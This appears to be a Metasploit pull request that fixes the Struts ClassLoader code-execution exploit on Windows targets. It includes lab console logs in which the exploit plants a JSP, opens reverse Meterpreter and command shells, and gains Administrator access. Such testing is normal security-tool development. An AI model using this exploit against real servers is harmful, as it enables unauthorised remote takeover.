Fix struts_code_exec_classloader on windows

It has been reported which modules/exploits/multi/http/struts_code_exec_classloader  was failing on Windows systems. After checking on a Windows 2003 SP2 installation I confirmed.

* native payloads were failing because the EXE with the payload was too long, the request was not being dumped to the log file. I'm generating the exe with ```exe-small``` on windows in order to avoid this problem (the easy fix).

* The ARCH_JAVA (jsp) payloads were failing while the crazy execution/restore.... it was busting payload. I just switched to restore things, and then a single query to execute the JSP payload. Makes ARCH_JAVA to work smoothly with the windows target.

Verification
--------

- [x] Install windows sytem, with java 7.67, tomcat 8.0.5 and the blank application from struts 2.3.16.1
- [x] Ensure windows target is working

Tests
-------

* Windows (native target)

```
msf exploit(struts_code_exec_classloader) > set target 2
target => 2
msf exploit(struts_code_exec_classloader) > set payload windows/meterpreter/reverse_tcp
rpayload => windows/meterpreter/reverse_tcp
msf exploit(struts_code_exec_classloader) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4444
[*] 172.16.158.234:8080 - Modifying Class Loader...
[*] 172.16.158.234:8080 - Waiting for the server to flush the logfile
[+] 172.16.158.234:8080 - Log file flushed at http://172.16.158.234:8080/Mx2ak53.jsp
[*] 172.16.158.234:8080 - Generating JSP...
[*] 172.16.158.234:8080 - Dumping JSP into the logfile...
[*] 172.16.158.234:8080 - Waiting for the server to flush the logfile
[+] 172.16.158.234:8080 - Log file flushed at http://172.16.158.234:8080/Mx2ak53.jsp
[*] Sending stage (769536 bytes) to 172.16.158.234
[*] Meterpreter session 13 opened (172.16.158.1:4444 -> 172.16.158.234:4518) at 2014-09-10 17:59:39 -0500
[+] Deleted ../webapps/ROOT/Mx2ak53.jsp
[!] This exploit may require manual cleanup of '../webapps/ROOT/DUs4Ym' on the target

meterpreter > getuid
Server username: JUAN-6ED9DB6CA8\Administrator
meterpreter > sysinfo
eComputer        : JUAN-6ED9DB6CA8
OS              : Windows .NET Server (Build 3790, Service Pack 2).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...
```

* Windows with ARCH_JAVA (jsp) 

```
msf exploit(struts_code_exec_classloader) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4444
[*] 172.16.158.234:8080 - Modifying Class Loader...
[*] 172.16.158.234:8080 - Waiting for the server to flush the logfile
[+] 172.16.158.234:8080 - Log file flushed at http://172.16.158.234:8080/T8o598.jsp
[*] 172.16.158.234:8080 - Generating JSP...
[*] 172.16.158.234:8080 - Dumping JSP into the logfile...
[*] Command shell session 12 opened (172.16.158.1:4444 -> 172.16.158.234:4517) at 2014-09-10 17:58:21 -0500
[+] Deleted T8o598.jsp

Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\Documents and Settings\Administrator\My Documents\Downloads\apache-tomcat-8.0.5-windows-x86\apache-tomcat-8.0.5\bin>echo 219995308;echo mqvjdTGVkHeKEzkjnQWxAgccpkteGzuK
219995308;echo mqvjdTGVkHeKEzkjnQWxAgccpkteGzuK

C:\Documents and Settings\Administrator\My Documents\Downloads\apache-tomcat-8.0.5-windows-x86\apache-tomcat-8.0.5\bin>rm -f "T8o598.jsp" >/dev/null ; echo ' & attrib.exe -r "T8o598.jsp" & del.exe /f /q "T8o598.jsp" & echo " ' >/dev/null;echo JYxJFRgmaJzunvmwhMROGEUbDMaEJHMP
File not found - T8o598.jsp
" ' >/dev/null;echo JYxJFRgmaJzunvmwhMROGEUbDMaEJHMP

C:\Documents and Settings\Administrator\My Documents\Downloads\apache-tomcat-8.0.5-windows-x86\apache-tomcat-8.0.5\bin>
C:\Documents and Settings\Administrator\My Documents\Downloads\apache-tomcat-8.0.5-windows-x86\apache-tomcat-8.0.5\bin>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is ACC9-F54C
```